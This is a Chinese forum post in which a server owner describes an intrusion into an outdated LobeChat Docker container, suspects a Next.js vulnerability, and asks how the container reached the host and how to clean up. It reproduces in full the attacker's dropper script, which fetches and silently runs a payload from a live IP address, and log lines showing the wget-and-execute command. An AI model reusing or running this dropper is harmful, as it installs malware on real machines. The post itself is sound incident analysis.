我的一个腾讯云服务器，已经部署了几年了，centos7系统，ssh版本也比较低，7.4但是高位端口，密码也比较复杂，不太可能被爆破，还有fail2ban。几年来只做一个frp和zerotier的服务器。
但是12月5号晚上23点55分，收到了腾讯云的一个警告，告诉我存在恶意文件/tmp/042d0094tcp 十分钟后又收到了一个警告存在恶意文件/tmp/memfd:a。
经过我的排查/tmp文件消失了，然后看不到恶意进程，ssh登录没有任何记录。history没有除了我的执行记录，cpu没有异常占用，查看腾讯云的记录找到了一个异常脚本记录
2025-12-05 23:55:23.378 17998 18007 WRN Malware report mod: 9 pid: 0 md5: 7d7f58a854947e95bc18917da635689d path: /proc/18257/root/app/./python1.sh trace: cad95160004b43d49786655c25a16f79
然后我全盘搜索在一个docker里面看到了这个文件
[root@VM-8-2-centos ~]# find / -name python1.sh
/var/lib/docker/overlay2/e4e2f61cb950a1dd486ae47901c49e35fb6f1e9d4abe984d50e5d0acf7dbdb55/diff/app/python1.sh
/var/lib/docker/overlay2/e4e2f61cb950a1dd486ae47901c49e35fb6f1e9d4abe984d50e5d0acf7dbdb55/merged/app/python1.sh
查看该文件确实是恶意文件
cat /var/lib/docker/overlay2/e4e2f61cb950a1dd486ae47901c49e35fb6f1e9d4abe984d50e5d0acf7dbdb55/merged/app/python1.sh
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)
l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true"
l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true"
a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true"
a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true"
v="042d0094tcp"
rm -rf $v
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
(curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
(curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
(curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi
chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)
排查到这个docker是lobechat的docker，然后看了下日志
Connecting to sup001.oss-cn-hongkong.aliyuncs.com (47.79.65.237:443)
wget: note: TLS certificate validation not implemented
saving to 'python1.sh'
python1.sh 100% |********************************| 1816 0:00:00 ETA
'python1.sh' saved
./python1.sh: line 20: curl: not found
[rewrite] / -> /en-US__0__light
Connecting to sup001.oss-cn-hongkong.aliyuncs.com (47.79.65.237:443)
wget: note: TLS certificate validation not implemented
wget: can't open 'python1.sh': File exists
⨯ [Error: Command failed: wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh
Connecting to sup001.oss-cn-hongkong.aliyuncs.com (47.79.65.237:443)
wget: note: TLS certificate validation not implemented
wget: can't open 'python1.sh': File exists
] {
status: 1,
signal: null,
output: [Array],
pid: 88,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 73 75 70 30 30 31 2e 6f 73 73 2d 63 6e 2d 68 6f 6e 67 6b 6f 6e 67 2e 61 6c 69 79 75 6e 63 73 2e 63 6f 6d 20 ... 117 more bytes>,
digest: '804846767'
}
果然被攻破了，因为我本人是从事安全行业的，不过是偏安全产品开发，所以攻防的知识没有特别多，但是对于安全的了解可能比普通开发者稍微多点。想到了今天nextjs有个新的漏洞，所有产品都在排查有无影响。
这才意识到这次攻陷，是否是因为lobechat用的nextjs导致？
我的lobechat是很久之前部署的，一直忘记了关闭，版本非常老了v1.52.0不知道最新版有无影响。
想请教下大家，几个问题
- 就是我的lobechat是容器内的，为何会穿透到宿主机/tmp目录。
- 以及我目前没有看到恶意的进程，启动项，crontab，passwd等都无恶意迹象，是否停了lobechat就可以了。
- 以及我的这次攻陷是否是因为最近爆出来的nextjs漏洞导致呢
这次是第一次切实感受到被0day漏洞攻破的感觉。
